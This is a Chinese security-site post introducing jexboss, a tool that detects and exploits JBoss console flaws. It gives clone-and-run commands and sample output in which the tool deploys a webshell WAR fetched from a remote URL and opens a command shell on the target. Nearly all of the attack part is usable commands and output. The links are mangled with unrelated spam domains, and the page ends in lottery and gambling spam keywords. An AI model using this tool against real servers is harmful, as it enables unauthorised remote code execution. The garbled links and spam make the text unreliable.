? ? :jexboss – Jboss漏洞检测/利用工具-jexboss – Jboss漏洞检测/利用工具-华盟网

: jexboss – Jboss漏洞检测/利用工具

华盟学院山东省第二期线下学习计划

项目地址

http://poluoge.com.github.com/joaomatosf/jexboss

项目简介

jexboss是一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

使用方法

$ git clone http://edumage.com.github.com/joaomatosf/jexboss.git
$ cd jexboss
$ python jexboss.py http://malanata.com.site-teste.com
$ python jexboss.py http://wlbyfz.com.site-teste.com
* — JexBoss: Jboss verify and EXploitation Tool — *
| |
| @author: Jo?o Filho Matos Figueiredo |
| @contact: joaomatosf@gmail.com |
| |
| @update: http://fizrq.cn.github.com/joaomatosf/jexboss |
#______________________________________________________#
** Checking Host: http://lashiya.com.site-teste.com **

* Checking web-console: [ OK ]
* Checking jmx-console: [ VULNERABLE ]
* Checking JMXInvokerServlet: [ VULNERABLE ]
* Do you want to try to run an automated exploitation via “jmx-console” ?
This operation will provide a simple command shell to execute commands on the server..
Continue only if you have permission!
yes/NO ? yes

* Sending exploit code to http://loveggg.com.site-teste.com. Wait…
* Info: This exploit will force the server to deploy the webshell
available on: http://www.joaomatosf_com.exitaca.com/rnp/jbossass.war
* Successfully deployed code! Starting command shell, wait…

* – – – –  – – – – – – – – LOL – – – – – – – – – – – – – –  – *

* http://gfyshop.com.site-teste.com:

Linux seglinux 3.18.4-1.el6.elrepo.x86_64 #1 SMP Wed Jan 28 13:28:52 EST 2015 x86_64 x86_64 x86_64 GNU/Linux

CentOS release 6.5 (Final)

uid=509(jboss) gid=509(jboss) grupos=509(jboss) context=system_u:system_r:initrc_t:s0

[Type commands or “exit” to finish]
Shell> pwd
/usr/jboss-6.1.0.Final/bin

www.idc126.com

本文由 华盟网 作者:congtou 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论

北京快乐8群计划 北京pk10猜冠军手机版 北京快乐8在哪买呀 北京pk10猜冠军走势图 上海时时乐开奖直播 北京快乐8走势彩经网
pk10冠亚和对刷 pk10冠亚和值对刷 北京pk10官方投注平台 快乐赚骗局 上海时时乐500期内
北京pk10冠亚和对刷 pk10冠亚和2.2对刷 pk10冠亚和对刷套利 pk10冠亚和如何刷水 pk10冠亚和对刷套利
上海时时乐走势图连线 北京赛车全天.免费计划 上海时时乐开奖彩票控 北京pk10免费计划软件 上海时时乐开奖彩票控
清美早餐加盟 天津早点加盟有哪些 亿家乐早餐加盟 早点加盟多少钱 美式早餐加盟
早餐亭加盟 早点车加盟 酸奶加盟 湖北早点加盟 早点连锁加盟
早点加盟多少钱 流动早餐加盟 北京早点小吃加盟店 早点加盟店排行榜 加盟放心早点
养生早餐加盟 早餐饮品加盟 早餐工程加盟 早餐店加盟 天津早点小吃培训加盟
江西快三直播 山西11选5 开奖时间 pk10技巧345678不定位 028期特码资料 贵州省11选5开奖结果
篮球场规格 时时彩pc28怎么看单双 大乐透复试玩法 管家婆三肖中特 秒速赛车骗人
吉祥彩娱乐平台 河北20选5开奖时间 海南4+1开奖号码 韩国快乐8开奖网 11选五开奖结果天津
026单双中特 内部透码保证香港版 齐鲁福利彩票 381818白小姐中特网 快乐十分玩法介绍图解